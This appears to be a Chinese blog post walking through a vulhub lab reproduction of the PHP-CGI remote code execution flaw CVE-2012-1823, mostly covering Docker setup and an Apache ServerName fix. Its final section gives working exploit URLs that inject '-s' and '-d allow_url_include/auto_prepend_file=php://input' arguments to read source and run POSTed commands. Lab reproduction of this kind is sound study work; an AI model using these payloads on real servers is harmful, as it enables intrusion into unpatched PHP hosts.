PHP-CGI远程代码执行漏洞(CVE-2012-1823)

PHP-CGI远程代码执行漏洞

CVE-2012-1823就是存在于以cgi模式运行的php中。
本质是用户请求的参数被作为了php-cgi的参数

影响版本

影响版本 php < 5.3.12 or php < 5.4.2

CVE-2012-1823漏洞复现

1. 启动环境

cd vulhub/php/CVE-2012-1823
docker-compose up		#启动容器
	docker-compose up -d		#后台启动容器
docker ps		#查看容器信息
	docker ps -a	#查看所有容器,包括在运行和没在运行中的
docker-compose down 	#关闭容器
	docker-compose down -v	#关闭容器


docker images	#查看镜像
docker rmi 镜像ID	#删除镜像

PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第1张图片在这里插入图片描述

遇到的报错及解决方式

在启动docker容器时,提示ServerName错误
PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第2张图片
参考链接:https://www.orcy.net.cn/775.html

docker ps 	#查看正在运行的容器
docker start 容器ID	#启动该容器
docker stop 容器ID	#停止该容器
docker exec -it 容器ID bash	#进入容器


启动容器,进入docker,查看对应配置文件:

cat /etc/apache2/sites-enabled/000-default.conf	
发现ServerName被注释
ls -al	#查看目录下的文件及权限
发现000-default.conf为链接,指向旁边的文件
由于容器里没有vi编辑器,找到该文件复制到本地
docker cp 容器ID:/etc/apache2/sites-available/000-default.conf	./	#从容器中复制文件到本机
docker cp ./000-default.conf 容器ID:/etc/apache2/sites-available/		#把本机的文件复制到容器中

PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第3张图片
PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第4张图片

将配置文件从容器中复制出来修改,再复制回去
PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第5张图片
将ServerName位置添加所需IP
在这里插入图片描述
检查一下是否修改成功
PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第6张图片

2. 访问网页

PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第7张图片

3. 绕过执行命令

#查看源码 -s
http://127.0.0.1:8080/index.php?-s	
#执行命令 -d
http://127.0.0.1:8080/index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input
POST部分输入执行命令
%3D对应“=”符号,%3A对应“:”符号

PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第8张图片
PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第9张图片

PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第10张图片PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第11张图片PHP-CGI远程代码执行漏洞(CVE-2012-1823)_第12张图片

你可能感兴趣的:(网络安全技术学习,php,docker,安全)